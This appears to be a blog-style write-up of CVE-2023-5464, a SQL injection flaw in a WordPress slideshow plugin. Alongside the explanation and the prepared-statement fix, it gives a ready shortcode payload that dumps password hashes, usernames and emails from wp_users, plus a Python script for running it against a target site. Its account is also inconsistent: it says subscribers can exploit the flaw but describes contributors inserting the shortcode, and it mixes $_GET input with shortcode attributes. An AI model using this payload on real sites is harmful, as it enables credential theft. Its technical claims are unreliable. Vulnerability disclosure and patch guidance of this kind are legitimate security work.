Summary:
Recently, a serious security vulnerability was discovered in the *jQuery Accordion Slideshow* plugin for WordPress (versions up to and including 8.1), tracked as CVE-2023-5464. This bug allows authenticated users—even those with minimal access like subscribers—to perform SQL Injection via a plugin shortcode. In this deep dive, we’ll explain and demonstrate how the bug works, how to exploit it, and how to protect your site.

Official References

- Wordfence Security Advisory
- NVD CVE-2023-5464 Entry
- Plugin on WordPress.org

How Does the Vulnerability Work?

The plugin lets you add slideshow galleries to your pages by using a shortcode. However, it does not properly check or sanitize data passed as parameters to its shortcode.

The plugin builds SQL queries directly with user input like this (simplified)

$id = $_GET['id'];
$query = "SELECT * FROM $table WHERE slideshow_id = $id";
$wpdb->get_results($query); // BAD!

An authenticated user (even a subscriber) can submit a malicious shortcode or manipulate the request to inject SQL code in the $id parameter. Because the code doesn't use built-in WordPress functions for safely preparing SQL statements (like $wpdb->prepare()), you can append your own SQL.

1. Inserting the Malicious Shortcode

A user with subscriber access can edit their profile, post a comment (if the plugin supports comment shortcodes), or request support with a specifically crafted payload. Here’s how to add it to a page as a contributor, author, editor, or admin:

[jas_slideshow id="1 OR 1=1 UNION SELECT user_pass, user_login, user_email, 1 FROM wp_users -- "]

*Here the ID parameter is injected with a classic SQLi payload that fetches sensitive user info directly.*

2. What’s Happening Under the Hood

The plugin sees "1 OR 1=1 UNION SELECT user_pass, user_login, user_email, 1 FROM wp_users -- " as the id.

The resulting SQL that runs will be

SELECT * FROM wp_jas_slideshows WHERE slideshow_id = 1 OR 1=1 
UNION SELECT user_pass, user_login, user_email, 1 FROM wp_users -- 

This fetches all users’ password hashes, usernames, and emails!

3. How to Extract Data (With a Code Example)

Suppose you want to extract hashes from the database. You just use the plugin’s output (the slideshow data) to display the fetched info. For more aggressive attacks, you can automate it like so:

import requests

login_url = 'https://target.site/wp-login.php';
exploit_url = 'https://target.site/page-with-shortcode';

creds = {
    'log': 'subscriberusername',
    'pwd': 'subscriberpassword'
}

with requests.Session() as s:
    # First login
    s.post(login_url, data=creds)
    # Then visit the page with injected shortcode
    resp = s.get(exploit_url)
    print(resp.text)  # Look for user hashes and emails in the output!

*Technical note*: The fix was to use parametric queries via $wpdb->prepare()

$id = intval($_GET['id']);
$query = $wpdb->prepare("SELECT * FROM $table WHERE slideshow_id = %d", $id);
$wpdb->get_results($query); // SAFE!

Conclusion

CVE-2023-5464 makes it trivially easy for low-level users to steal data from vulnerable WordPress sites. Because SQLi can often be used for full site compromise, update now! If you’re a developer, always use prepared statements for database queries.

References and Further Reading

- Wordfence Advisory
- NVD: CVE-2023-5464
- OWASP SQL Injection Cheat Sheet

Stay safe, and always keep your plugins up to date!

Timeline

Published on: 10/31/2023 09:15:09 UTC
Last modified on: 11/07/2023 04:24:03 UTC